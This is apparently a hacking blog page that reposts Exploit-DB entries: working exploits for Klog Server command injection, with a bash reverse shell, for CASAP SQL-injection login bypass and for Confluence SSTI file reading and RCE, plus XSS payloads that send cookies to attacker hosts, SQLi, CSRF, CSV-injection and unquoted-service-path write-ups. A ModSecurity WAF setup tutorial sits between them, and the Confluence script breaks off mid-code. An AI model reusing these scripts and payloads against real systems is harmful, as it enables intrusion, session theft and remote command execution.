Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863152401

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: EgavilanMedia User Registration & Login System with Admin Panel 1.0 - Multiple Stored Cross-Site Scripting
# Date: 30-12-2020
# Exploit Author: Mesut Cetin
# Vendor Homepage: http://egavilanmedia.com
# Version: 1.0
# Tested on Windows 10, Firefox 83.0, Burp Suite Professional v1.7.34

Vulnerable parameter: email, gender, username
Payload: <script>alert(document.cookie)</script>

Proof of Concept:

To bypass client-side filter, we will use Burp Suite. Reproduce the vulnerability by following the steps:

1. Login with default credentials "admin:password" at the demo page at: http://demo.egavilanmedia.com/User%20Registration%20and%20Login%20System%20With%20Admin%20Panel/profile.php
2. Click above right on the "Profile" tab
3. Navigate to the "Edit Profile" tab
4. In Firefox, use Foxyproxy and click on "Intercept" within Burp Suite. Press on "Update password" button at demo page.
5. Capture the POST request in Burp Suite and manipulate the parameter as shown:

POST /User%20Registration%20and%20Login%20System%20With%20Admin%20Panel/admin/profile_action.php HTTP/1.1
Host: demo.egavilanmedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 180
Origin: http://demo.egavilanmedia.com
Connection: close
Referer: http://demo.egavilanmedia.com/User%20Registration%20and%20Login%20System%20With%20Admin%20Panel/admin/profile.php
Cookie: PHPSESSID=944b2es2eb67f971af305b2105e35c3e

fullname=admin&username=<script>alert(document.cookie)</script>&email=<script>alert('PoC 2')</script>&gender==<script>alert('PoC 3')</script>&action=update_admin

6. Forward the request and refresh the page. You'll receive three different XSS pop-ups. One of them contains the PHPSESSID cookie. By using payloads like <BODY ONLOAD=fetch(`http://attackers-page.com/${document.cookie}`)>, the session cookies can be send to the attacker.
            
# Exploit Title: Klog Server 2.4.1 - Command Injection (Unauthenticated)
# Date: 22.12.2020
# Exploit Author: b3kc4t (Mustafa GUNDOGDU)
# Vendor Homepage: https://www.klogserver.com/
# Version: 2.4.1
# Tested On: Ubuntu 18.04
# CVE: 2020-35729
# Description: https://github.com/mustgundogdu/Research/tree/main/KLOG_SERVER

"""
         ~ VULNERABILITY DETAILS ~
    
    #
    The Klog Server runs the injected os commands on the server , causing os command
    injection vulnerability.    
    
    #
    The following python code will inject os command payload and can be relaized reverse
    shell connection.And you can be added payload except the default payload plugin.

    ##USAGE##

    $sudo nc -nlvp 98
    $sudo python klog_exploit.py --exploit --url https://10.10.56.51:443/actions/authenticate.php --payload "test\"$bash -i >& /dev/tcp/10.10.56.52/98 0>&1&\""

    ##OUTPUT##

    bash-4.2$whoami
    apache
    bash-4.2$

"""

import requests
import argparse
from colorama import Fore, Back, Style, init


def main():
    
    desc = "KLOG SERVER 2.4.1 EXPLOIT"
    parser = argparse.ArgumentParser(description=desc)
    option = parser.add_argument_group('[*]OPTIONS[*]')
    parser.add_argument("--url", help=Fore.GREEN+"[*]TARGET URL ADDRESS[*]", required=False)
    parser.add_argument("--payload",help=Fore.GREEN+"[*] TO ADD PAYLOAD  [*]", type=str,required=False)
    parser.add_argument("--exploit", help=Fore.GREEN+" ", action="store_true")
    args = parser.parse_args()
    
    if args.exploit:

        if args.url:
            url = args.url
            
            if args.payload:
                payload = args.payload
                target_send_config(url, payload)
            
            #default bash reverse shell payload
            else:
                payload = "test\"&bash -i >& /dev/tcp/10.10.56.52/88 0>&1&\""
                target_send_config(url, payload)

        else:
            #default url (klog server init ip address)
            url = "https://10.10.56.51:443/actions/authenticate.php"
            
            if args.payload:
                payload = args.payload
                target_send_config(url, payload)
            else: 
                payload = "test\"&bash -i >& /dev/tcp/10.10.56.52/88 0>&1&\""
                target_send_config(url, payload)


def target_send_config(url, payload):
        
    headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0", 
                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", 
                "Accept-Language": "en-US,en;q=0.5", 
                "Accept-Encoding": "gzip, deflate", 
                "Content-Type": "application/x-www-form-urlencoded", 
                "Connection": "close", 
                "Upgrade-Insecure-Requests": "1"}
    #injection place
    data = {"user": payload, 
            "pswd": "test"}
    
    try:
    #post method send    
        requests.post(url, headers=headers, data=data, verify=False)
        print(" ")
        print(Fore.GREEN+" "+"[+] EXPLOIT SUCCESSFUL PAYLOAD IS SENT [+]")
    except:
        print(Fore.RED+"[-] EXPLOIT FAILED [-]")

if __name__ == '__main__':
    main()
            

In a previous article, we talked about how to trace the attacker. But this still cannot avoid attacks. How to solve it? At this time, WAF (web firewall) is needed to protect our website. But the waf of Alibaba Cloud and Tencent Cloud is really expensive, and it can be tens of thousands of times at any time. How to solve it?

Environment

Apache2.4 pagoda 7.9.4 pagoda Although there are firewalls for apache and nginx. But they are all charged. (In fact, it was modified based on open source waf, so the charge is too disgusting.)

http://xiaoyaozi666.oss-cn-beijing.aliyuncs.com/image_20221123140548.png

Mainly, common penetration attacks such as square sql injection, xss, and one-sentence. It costs more than 400 a year, why don’t you grab it?

Introduction to ModSecurity

ModSecurity is an open source, cross-platform Web application firewall (WAF), known as the "Swiss Army Knife" in the WAF industry. It can protect the website by checking the data received by the web service and the data sent out. Function SQLi: Block SQL injection XSS: Block cross-site scripting attack LFI: Block attack exploit local file inclusion vulnerability RFI: Block attack exploit remote file inclusion vulnerability RCE: Block attack exploit remote command execution vulnerability PHP Code: Block attack PHP code injection HTTP Violations: Block malicious access to HTTP violations HTTP protocol: Block attack HTTPoxy: Block attack exploit remote proxy infection vulnerability Sshllshock: Block attack exploit Shellshock vulnerability Session Fixation: Block attack exploit vulnerability Scanner Detection: Block attack exploit vulnerability Metadata/Error Leakages: Block source code/error information leakage Project Honey Pot Blacklist: Honeypot project blacklist GeoIP Country Blocking: IP blocking is performed based on the judgment of IP address home

Installation

Installation dependency yum install -y yajl-devel ssdeep-devel installation cd /usr/local

wget https://github.com/SpiderLabs/ModSecurity/releases/download/v2.9.5/modsecurity-2.9.5.tar.gz

tar -zxvf modsecurity-2.9.5.tar.gz

cd modsecurity-2.9.5

./configure --with-apxs=/www/server/apache/bin/apxs --with-apr=/www/server/apache/bin/apr-1-config --with-apu=/www/server/apache/bin/apu-1-config

Make

make install 1.png

Note that if your environment is not a pagoda, you can also install it according to the above command. The locations that need to be modified are the locations of the three files apxs arp-1-confg`apu-l-config. The default location under the pagoda is: /www/server/apache/bin/You can use the find` command to search.

Configuration Rule File

cd /usr/local

git clone https://github.com/corerulelset/corerulelset.git

#If the local website cannot connect to the official git website, you can try the other two download addresses below

#git clone https://hub.fastgit.org/corerulelset/corerulelset.git

#git clone https://hub.0z.gs/corerulelset/corerulelset.git

mkdir /www/server/apache/conf/modsecurity/

#Copy ModSecurity related configuration files

cp /usr/local/modsecurity-2.9.5/modsecurity.conf-recommended /www/server/apache/conf/modsecurity/modsecurity.conf

cp /usr/local/modsecurity-2.9.5/unicode.mapping /www/server/apache/conf/modsecurity/unicode.mapping

#Copy OWASP related rules files

cp /usr/local/coreruleaset/crs-setup.conf.example /www/server/apache/conf/modsecurity/crs-setup.conf

cp -r /usr/local/coreruleaset/rules//www/server/apache/conf/modsecurity/

#Enable whitelists and rules to disable files

mv /www/server/apache/conf/modsecurity/rules/REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf.example /www/server/apache/conf/modsecurity/rules/REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf.example /www/server/apache/conf/modsecurity/rules/REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf

mv /www/server/apache/conf/modsecurity/rules/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf.example /www/server/apache/conf/modsecurity/rules/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf

Open waf

Edit httpd.conf, remove the comment # before #LoadModule unique_id_module modules/mod_unique_id.so, and add the following content

LoadModule security2_module modules/mod_security2.so

IfModule security2_module

Include conf/modsecurity/modsecurity.conf

Include conf/modsecurity/crs-setup.conf

Include conf/modsecurity/rules/*.conf

/IfModule edit/www/server/apache/conf/modsecurity/modsecurity.conf, change SecRuleEngine DetectionOnly to SecRuleEngine On and then check whether it is needed for other configurations and close it according to actual needs. (In fact, it is enough to use our configuration rules file. When I installed it, I found that a blank page was displayed when the mobile phone was opened, and the page needed to be refreshed manually before the page could appear. CND problems may occur!)

Test

Restart the apache service

service restart httpd test http://bbskali.cn/?id=%22%3E%3Cscript%3Ealert(1);%3C/script%3E 4ldjswttyux3650.png

Customize Page

The default 403 page is detrimental to our style, so write a page yourself. (Although lacking design beauty!)

!DOCTYPE html PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'

html

head

meta http-equiv='Content-Type' content='text/html; charset=UTF-8'

title system firewall/title

script type='text/javascript'

function getInterceptUrl(){

var url=getQueryString('url');

var domain=getQueryString('intercept_domain');

var tmpstr='The intercepted URL is:';

var div=document.getElementById('interceptdiv');

if(domain !=''){

tmpstr +=domain;

}

if(url !='' url !='/'){

tmpstr +=url;

}

if(domain !='' || url !=''){

var textnode=document.createTextNode(tmpstr);

div.appendChild(textnode);

}

}

function getQueryString(name) {

var result=window.location.search.match(new RegExp('[\?\]' + name + '=([^\]+)', 'i'));

if (result==null || result.length 1) {

return '';

}

return result[1];

}

/script

style type='text/css'

!--

body{margin:0;font-size:7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#fff;}

fieldset{padding:0 15px 10px 15px;border-color: #fff;border: 0px;}

h1{font-size:2.4em;margin:0;color:#FFF;}

h2{font-size:2.4em;margin:0;color:#CC0000;text-align: center;}

h3{font-size:1.7em;margin:10px 0 0 0;color:#000000;}

#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:'trebuchet MS', Verdana, sans-serif;color:#FFF;

background-color:#ffff;}

#content{margin:0 0 0 2%;position:relative;}

.content-container{background:#FFF;width:50%;margin:0 auto;position:0 relative;margin-top:100px}

a{text-decoration:none;color:#009cd6}

a:hover{text-decoration:underline;color:#ff0000}

--

/style

/head

body onload='getInterceptUrl();'

div id='content'

div class='content-container'fieldset

brbrbrbr

img src='Your image address'

h3 style='text-align: center;'The current operation may pose a threat to the security of the website and has been intercepted by the server firewall. /h3

br

div id='interceptdiv' style='color:#F00;text-align: center;font-size: 16px;'/div

/fieldset

/div

/body

/html

Modify the /www/server/apache/conf/modsecurity/crs-setup.conf file and add the following code

SecDefaultAction 'phase:1,log,auditlog,redirect:https://blog.bbskali.cn/waf.html?url=%{REQUEST_FILENAME}intercept_domain=%{request_headers.host}'

SecDefaultAction 'phase:2,log,auditlog,redirect:https://blog.bbskali.cn/waf.html?url=%{REQUEST_FILENAME}intercept_domain=%{request_headers.host}' Comment out the original #SecDefaultAction 'phase:1,log,auditlog,pass'.lrrq1byes5n3651.png

Restart the apache service and view the results.i1hk2zttyoa3652.png

# Exploit Title: Advanced Webhost Billing System 3.7.0 - Cross-Site Request Forgery (CSRF)
# Date: 06/01/2021
# Exploit Author: Rahul Ramakant Singh
# Vendor Homepage: https://www.awbs.com/
# Version: 3.7.0
# Tested on Windows

Steps:

1. Login into the application with the help of email and password.
2. Navigate to my additional contact page and add one contact for the same
3. Now there is option for delete the contact from the list.
4. Now Logout from the application and same create a one CSRF POC having having action of delete contact and same blank the token value from CSRF POC.
5. Now again login into the application and Send a link of this crafted page(generated CSRF POC) to the victim.
6. When the victim user opens the link, a script present on the crafted page sends a request for delete of contact to the server with an active session ID of the victim and accept the blank token value from the request.
7. Contact successfully deleted.
            
# Exploit Title: IObit Uninstaller 10 Pro - Unquoted Service Path
# Date: 2020–12–24
# Exploit Author: Mayur Parmar(th3cyb3rc0p)
# Vendor Homepage: https://www.iobit.com
# Software Link: https://www.iobit.com/en/advanceduninstaller.php
# Version: 10
# Tested on Windows 10

Unquoted Service Path:
When a service is created whose executable path contains spaces and isn’t enclosed within quotes, leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges (only if the vulnerable service is running with SYSTEM privilege level which most of the time it is).
In Windows, if the service is not enclosed within quotes and is having spaces, it would handle the space as a break and pass the rest of the service path as an argument.

Attack Vector:
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.

Steps to reproduce:

C:\Windows\system32>sc qc IObitUnSvr
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IObitUnSvr
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : IObit Uninstaller Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

Mitigation:Ensure that any services that contain a space in the path enclose the path in quotes.

Reference:
-> https://www.rapid7.com/db/modules/exploit/windows/local/unquoted_service_path/
-> https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae
-> https://www.hackingarticles.in/windows-privilege-escalation-unquoted-path-service/
-> https://sec-consult.com/blog/detail/windows-privilege-escalation-an-approach-for-penetration-testers/
            
# Exploit Title: dirsearch 0.4.1 - CSV Injection
# Author: Dolev Farhi
# Date: 2021-01-05
# Vendor Homepage: https://github.com/maurosoria/dirsearch
# Version : 0.4.1
# Tested on: Debian 9.13

dirsearch, when used with the --csv-report flag, writes the results of crawled endpoints which redirect(, to a csv file without sanitization.
A malicious server can redirect all of its routes/paths to a path that contains a comma and formula, e.g. /test,=1336+1, and escape the normal dirsearch CSV structure to inject its own formula.

Malicious Flask Webserver:

"""
from flask import Flask, redirect
app = Flask(__name__)

@app.route('/')
def index():
 return redirect('/test,=1336+1')

@app.route('/admin')
def admin():
 return redirect('/test,=1336+1')

@app.route('/login')
def login():
 return redirect('/test,=1336+1')
"""


2. Tester runs dirsearch
root@host:~/# python3 dirsearch.py -u http://10.0.0.1 --csv-report=report.csv 


  _|. _ _  _  _  _ _|_    v0.4.1
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm, js | HTTP method: GET | Threads: 30 | Wordlist size: 2

Error Log: /root/tools/dirsearch/logs/errors-21-01-06_04-29-10.log

Target: http://10.0.0.1

Output File: /root/tools/dirsearch/reports/10.0.0.1/_21-01-06_04-29-10.txt

[04:29:10] Starting: 
[04:29:11] 302 -  233B  - /admin  ->  http://10.0.0.1/test,=1336+1
[04:29:11] 302 -  233B  - /login  ->  http://10.0.0.1/test,=1336+1


3. Result CSV

root@host:~/# cat report.csv

Time,URL,Status,Size,Redirection
Wed Jan  6 04:29:11 2021,http://10.0.0.1:80/admin,302,233,http://10.0.0.1/test,=1336+1
Wed Jan  6 04:29:11 2021,http://10.0.0.1:80/login,302,233,http://10.0.0.1/test,=1336+1
            
# Exploit Title: Expense Tracker 1.0 - 'Expense Name' Stored Cross-Site Scripting
# Exploit Author: Shivam Verma(cyb3r_n3rd)
# Date: 2021-01-05
# Vendor Homepage: https://code-projects.org/expense-tracker-in-php-with-source-code/
# Software Link: https://code-projects.org
# Version: 1.0
# Category: Web Application
# Tested on: Kali Linux
# Contact: https://www.linkedin.com/in/shivam413

Attack Vector: This Vulnerability Leads an Attacker to Inject Malicious Payloads in Expense Category section and Paste the Payload in the Desired field each time admin/user visits and manages the user data, The Malicious Payload(XSS) triggers and attacker can capture the admin cookies and access the users Data in Plain Text

Step 1. Install The Software
Step 2. Click on Add Expense Category
Step 3. Now paste your Xss Payload in the Parameter(Expense Name)
Step 4. Click on Add
Step 5. Wait for the Administrator to click on Your link
Step 6. You will receive Admin Cookie Every time he Process the Request

---

XSS Payload: "><script src=https://.xss.ht></script>
            
# Exploit Title: IPeakCMS 3.5 - Boolean-based blind SQLi
# Date: 07.12.2020
# Exploit Author: MoeAlbarbari
# Vendor Homepage: https://ipeak.ch/
# Software Link: N/A
# Version: 3.5
# Tested on: BackBox Linux
# CVE : CVE-2021-3018

Check the CMS version :goto www.site.com/cms/ and you will notice that in the login box there is the CMS name and its version 
Check if it's vulnerable, goto ->: site.com/cms/print.php if the print.php exists, then try to find any valid ID which returns page to print  e.g: site.com/cms/print.php?id=1
Parameter: id (GET based)
Use SQLmap if you've found the valid id...
e.g: sqlmap -u "site.com/cms/print.php?id=1" --dbs
Payload : id=(SELECT (CASE WHEN(3104=3104) THEN 1 ELSE (SELECT 8458) END))
            
# Exploit Title: CASAP Automated Enrollment System 1.0 - Authentication Bypass
# Exploit Author: Himanshu Shukla
# Date: 2021-01-21
# Vendor Homepage: https://www.sourcecodester.com/php/12210/casap-automated-enrollment-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/Yna%20Ecole/final.zip
# Version: 1.0
# Tested On: Ubuntu + XAMPP 7.4.4
# Description: CASAP Automated Enrollment System 1.0 - Authentication Bypass Using SQLi


#STEP 1 : Run The Exploit With This Command : python3 exploit.py <URL>
# For Example: python3 exploit.py http://10.9.67.23/final/
#STEP 2 : Open the Link Provided At The End After Successful Authentication Bypass in Browser. 


import time
import sys
import requests


YELLOW =  '\033[33m' # Yellow Text
GREEN =  '\033[32m' # Green Text
RED =  '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults

print(YELLOW+'      _          ______  _               _  ___           ', RESET)
print(YELLOW+'  ___| |_ ___   / / ___|| |__   __ _  __| |/ _ \__      __', RESET)
print(YELLOW+" / _ \ __/ __| / /|___ \| '_ \ / _` |/ _` | | | \ \ /\ / /", RESET)
print(YELLOW+'|  __/ || (__ / /  ___) | | | | (_| | (_| | |_| |\ V  V / ', RESET)
print(YELLOW+' \___|\__\___/_/  |____/|_| |_|\__,_|\__,_|\___/  \_/\_/  ', RESET)
print(YELLOW+" ", RESET)                                                          
print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')
print('!!!       CASAP AUTOMATED ENROLLMENT SYSTEM 1.0        !!!')
print('!!!               AUTHENTICATION BYPASS                !!!')
print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')

print('Author - Himanshu Shukla')


def authbypass(url):

	#Authentication Bypass
	s = requests.Session() 
	#Set Cookie
	cookies = {'PHPSESSID': 'c9ead80b7e767a1157b97d2ed1fa25b3'}


	print ("[*]Attempting Authentication Bypass...")
	time.sleep(1)

	values = {"username":"'or 1 or'","password":""}
	r=s.post(url+'login.php', data=values, cookies=cookies) 
	p=s.get(url+'dashboard.php', cookies=cookies) 

	#Check if Authentication was bypassed or not.
	logged_in = True if ("true_admin" in r.text) else False
	l=logged_in
	if l:
		print(GREEN+"[+]Authentication Bypass Successful!", RESET)
		print(YELLOW+"[+]Open This Link To Continue As Admin : "+url+"dashboard.php", RESET)
	else:
		print(RED+"[-]Failed To Authenticate!", RESET)
		print(RED+"[-]Check Your URL", RESET)


if __name__ == "__main__":


	if len(sys.argv)!=2:
		print(RED+"You Haven't Provided any URL!", RESET)
		print("Usage : python3 exploit.py <URL>")
		print("Example : python3 exploit.py http://10.9.7.3/final/")
		exit()

	try:

		authbypass(sys.argv[1])

	except:

		print(RED+"[-]Invalid URL!", RESET)
		exit()
            
# Exploit Title: Collabtive 3.1 - 'address' Persistent Cross-Site Scripting
# Date: 2021-01-23
# Exploit Author: Deha Berkin Bir
# Vendor Homepage: https://collabtive.o-dyn.de/
# Version: 3.1
# Tested on: Windows & XAMPP
# CVE: CVE-2021-3298

==> Tutorial <==

1- Login to your account.
2- Go to the profile edit page and write your XSS/HTML payload into "Address" section.
- You will see the executed HTML payload at there. (HTML Injection)
- You will see the executed XSS payload at profile edit section. (XSS)

==> Executed Payloads <==

XSS Payload   ==>   " onfocus="alert(1)" autofocus="
HTML Payload ==>   <h1>DehaBerkinBir</h1>

==> HTTP Request <==

POST /manageuser.php?action=edit HTTP/1.1
Host: (HOST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://(HOST)/manageuser.php?action=editform&id=1
Content-Type: multipart/form-data; boundary=---------------------------12097618915709137911841560297
Content-Length: 2327
Connection: close
Cookie: activeSlideIndex=0; PHPSESSID=oj123o7asdfasdfu4pts2g
Upgrade-Insecure-Requests: 1

-----------------------------12097618915709137911841560297
Content-Disposition: form-data; name="name"

admin
-----------------------------12097618915709137911841560297
Content-Disposition: form-data; name="userfile"; filename=""
Content-Type: application/octet-stream


-----------------------------12097618915709137911841560297
Content-Disposition: form-data; name="file-avatar"


-----------------------------12097618915709137911841560297
Content-Disposition: form-data; name="company"


-----------------------------12097618915709137911841560297
Content-Disposition: form-data; name="email"

dehaberkinbir@hotmail.com
-----------------------------12097618915709137911841560297
Content-Disposition: form-data; name="web"


-----------------------------12097618915709137911841560297
Content-Disposition: form-data; name="tel1"


-----------------------------12097618915709137911841560297
Content-Disposition: form-data; name="tel2"


-----------------------------12097618915709137911841560297
Content-Disposition: form-data; name="address1"

" onfocus="alert(1)" autofocus="
-----------------------------12097618915709137911841560297

Content-Disposition: form-data; name="zip"


-----------------------------12097618915709137911841560297
Content-Disposition: form-data; name="address2"


-----------------------------12097618915709137911841560297
Content-Disposition: form-data; name="country"


-----------------------------12097618915709137911841560297
Content-Disposition: form-data; name="state"

admin
-----------------------------12097618915709137911841560297
Content-Disposition: form-data; name="gender"


-----------------------------12097618915709137911841560297
Content-Disposition: form-data; name="locale"


-----------------------------12097618915709137911841560297
Content-Disposition: form-data; name="admin"


-----------------------------12097618915709137911841560297
Content-Disposition: form-data; name="oldpass"

admin
-----------------------------12097618915709137911841560297
Content-Disposition: form-data; name="newpass"


-----------------------------12097618915709137911841560297
Content-Disposition: form-data; name="repeatpass"


-----------------------------12097618915709137911841560297--
            
# Exploit Title: Atlassian Confluence Widget Connector Macro - SSTI 
# Date: 21-Jan-2021
# Exploit Author: 46o60
# Vendor Homepage: https://www.atlassian.com/software/confluence
# Software Link: https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-6.12.1-x64.bin
# Version: 6.12.1
# Tested on: Ubuntu 20.04.1 LTS
# CVE : CVE-2019-3396

#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
"""

Exploit for CVE-2019-3396 (https://www.cvedetails.com/cve/CVE-2019-3396/) Widget Connector macro in Atlassian
Confluence Server server-side template injection.

Vulnerability information:
    Authors:
        Daniil Dmitriev - Discovering vulnerability
        Dmitry (rrock) Shchannikov - Metasploit module
    Exploit
        ExploitDB:
            https://www.exploit-db.com/exploits/46731
        Metasploit
            https://www.rapid7.com/db/modules/exploit/multi/http/confluence_widget_connector/
            exploit/multi/http/confluence_widget_connector

While Metasploit module works perfectly fine it has a limitation that to gain RCE outbound FTP request is being made
from the target Confluence server towards attacker's server where the Velocity template with the payload is being
hosted. If this is not possible, for example, because network where the target Confluence server is located filters all
outbound traffic, alternative approach is needed. This exploit, in addition to original exploit implements this
alternative approach by first uploading the template to the server and then loading it with original vulnerability from
local file system. The limitation is that to upload a file, a valid session is needed for a non-privileged user. Any
user can upload a file to the server by attaching the file to his "personal space".

There are two modes of the exploit:
  1. Exploiting path traversal for file disclosure and directory listings.
  2. RCE by uploading a template file with payload to the server.

In case where network is filtered and loading remote template is not possible and also you do not have a low-privileged
user session, you can still exploit the '_template' parameter to browse the server file system by using the first mode
of this exploit. Conveniently, application returns file content as well as directory listing depending on to what path
is pointing to. As in original exploit no authentication is needed for this mode.

Limitations of path traversal exploit:
- not possible to distinguish between non-existent path and lack of permissions
- no distinction between files and directories in the output

If you have ability to authenticate to the server and have enough privileges to upload files use the second mode. A
regular user probably has enough privileges for this since each user can have their own personal space where they
should be able to add attachments. This exploit automatically finds the personal space, or creates one if it does not
exists, a file with Velocity template payload. It then uses the original vulnerability but loads the template file
with payload from local filesystem instead from remote system.

Prerequisite of RCE in this exploit:
- authenticated session is needed
- knowledge of where attached files are stored on the file system - if it is not default location then use first mode
to find it, should be in Confluence install directory under ./attachments subdirectory

Usage
- list /etc folder on Confluence server hosted on http://confluence.example.com
    python exploit.py -th confluence.example.com fs /etc
- get content of /etc/passwd on same server but through a proxy
    python exploit.py -th confluence.example.com -px http://127.0.0.1:8080 fs /etc/passwd
- execute 'whoami' command on the same server (this will upload a template file with payload to the server using
existing session)
    python exploit.py -th confluence.example.com rce -c JSESSIONID=ABCDEF123456789ABCDEF123456789AB "whoami"

Tested on Confluence versions:
    6.12.1

To test the exploit:
    1. Download Confluence trial version for version 6.12.1
        https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-6.12.1-x64.bin
        (to find this URL go to download page for the latest version, pick LTS release Linux 64 Bit, turn on the browser
        network tools to capture HTTP traffic, click Submit, take the URL from request towards 'product-downloads' and
        change the version in URL to be 6.12.1)
        SHA256: 679b1c05cf585b92af9888099c4a312edb2c4f9f4399cf1c1b716b03c114e9e6  atlassian-confluence-6.12.1-x64.bin
    2. Run the binary to install it, for example on Ubuntu 20.04. Use "Express Install" and everything by default.
        chmod +x atlassian-confluence-6.12.1-x64.bin
        sudo ./atlassian-confluence-6.12.1-x64.bin
    3. Open the browser to configure initial installation, when you get to license window copy the server ID.
    4. Create account at https://my.atlassian.com/ and request for new trial license using server ID.
    5. Activate the license and finish the installation with default options.
    6. Create a user and login with him to go through initial user setup and get the session id for RCE part of the
    exploit.
    7. Run the exploit (see usage above).
"""

__version__ = "1.0.0"
__author__ = "46o60"

import argparse
import logging
import requests
import urllib3
from bs4 import BeautifulSoup
import re
import json
import random
import string

# script  and banner
SCRIPT_NAME = "CVE-2019-3396: Confluence exploit script"
ASCII_BANNER_TEXT = """____ ____ _  _ ____ _    _  _ ____ _  _ ____ ____ ____ 
|    |  | |\ | |___ |    |  | |___ |\ | |    |  | |__/ 
|___ |__| | \| |    |___ |__| |___ | \| |___ |__| |  \ 
                                                       
"""

# turn off requests log output
urllib3.disable_warnings()
logging.getLogger("urllib3").setLevel(logging.WARNING)


def print_banner():
    """
    Prints script ASCII banner and basic information.

    Because it is cool.
    """
    print(ASCII_BANNER_TEXT)
    print("{} v{}".format(SCRIPT_NAME, __version__))
    print("Author: {}".format(__author__))
    print()


def exit_log(logger, message):
    """
    Utility function to log exit message and finish the script.
    """
    logger.error(message)
    exit(1)


def check_cookie_format(value):
    """
    Checks if value is in format: ^[^=]+=[^=]+$
    """
    pattern = r"^[^=]+=[^=]+$"
    if not re.match(pattern, value):
        raise argparse.ArgumentTypeError("provided cookie string does not have correct format")
    return value


def parse_arguments():
    """
    Performs parsing of script arguments.
    """
    # creating parser
    parser = argparse.ArgumentParser(
        prog=SCRIPT_NAME,
        description="Exploit CVE-2019-3396 to explore file system or gain RCE through file upload."
    )

    # general script arguments
    parser.add_argument(
        "-V", "--version",
        help="displays the current version of the script",
        action="version",
        version="{name} {version}".format(name=SCRIPT_NAME, version=__version__)
    )
    parser.add_argument(
        "-v", "--verbosity",
        help="increase output verbosity, two possible levels, no verbosity with default log output and debug verbosity",
        action="count",
        default=0
    )
    parser.add_argument(
        "-sb", "--skip-banner",
        help="skips printing of the banner",
        action="store_true",
        default=False
    )
    parser.add_argument(
        "-s", "--silent",
        help="do not output results of the exploit to standard output",
        action="store_true",
        default=False
    )
    parser.add_argument(
        "-q", "--quiet",
        help="do not output any logs",
        action="store_true",
        default=False
    )

    # arguments for input
    parser.add_argument(
        "-px", "--proxy",
        help="proxy that should be used for the request, the same proxy will be used for HTTP and HTTPS"
    )
    parser.add_argument(
        "-t", "--tls",
        help="use HTTPS protocol, default behaviour is to use plain HTTP",
        action="store_true"
    )
    parser.add_argument(
        "-th", "--target-host",
        help="target hostname/domain",
        required=True
    )
    parser.add_argument(
        "-p", "--port",
        help="port where the target is listening, default ports 80 for HTTP and 443 for HTTPS"
    )

    # two different sub commands
    subparsers = parser.add_subparsers(
        title="actions",
        description="different behaviours of the script",
        help="for detail description of available action options invoke -h for each individual action",
        dest="action"
    )

    # only exploring file system by disclosure of files and directories
    parser_file_system = subparsers.add_parser(
        "fs",
        help="use the exploit to browse local file system on the target endpoint"
    )
    parser_file_system.add_argument(
        "path",
        help="target path that should be retrieved from the vulnerable server, can be path to a file or to a directory"
    )
    parser_file_system.set_defaults(func=exploit_path_traversal)

    # using file upload to deploy payload and achieve RCE
    parser_rce = subparsers.add_parser(
        "rce",
        help="use the exploit to upload a template "
    )
    parser_rce.add_argument(
        "-hd", "--home-directory",
        help="Confluence home directory on the server"
    )
    parser_rce.add_argument(
        "-c", "--cookie",
        help="cookie that should be used for the session, value passed as it is in HTTP request, for example: "
             "-c JSESSIONID=ABCDEF123456789ABCDEF123456789AB",
        type=check_cookie_format,
        required=True
    )
    parser_rce.add_argument(
        "command",
        help="target path that should be retrieved from the vulnerable server, can be path to a file or to a directory"
    )
    parser_rce.set_defaults(func=exploit_rce)

    # parsing
    arguments = parser.parse_args()

    return arguments


class Configuration:
    """
    Represents all supported configuration items.
    """

    # Parse arguments and set all configuration variables
    def __init__(self, script_args):
        self.script_arguments = script_args

        # setting input arguments
        self._proxy = self.script_arguments.proxy
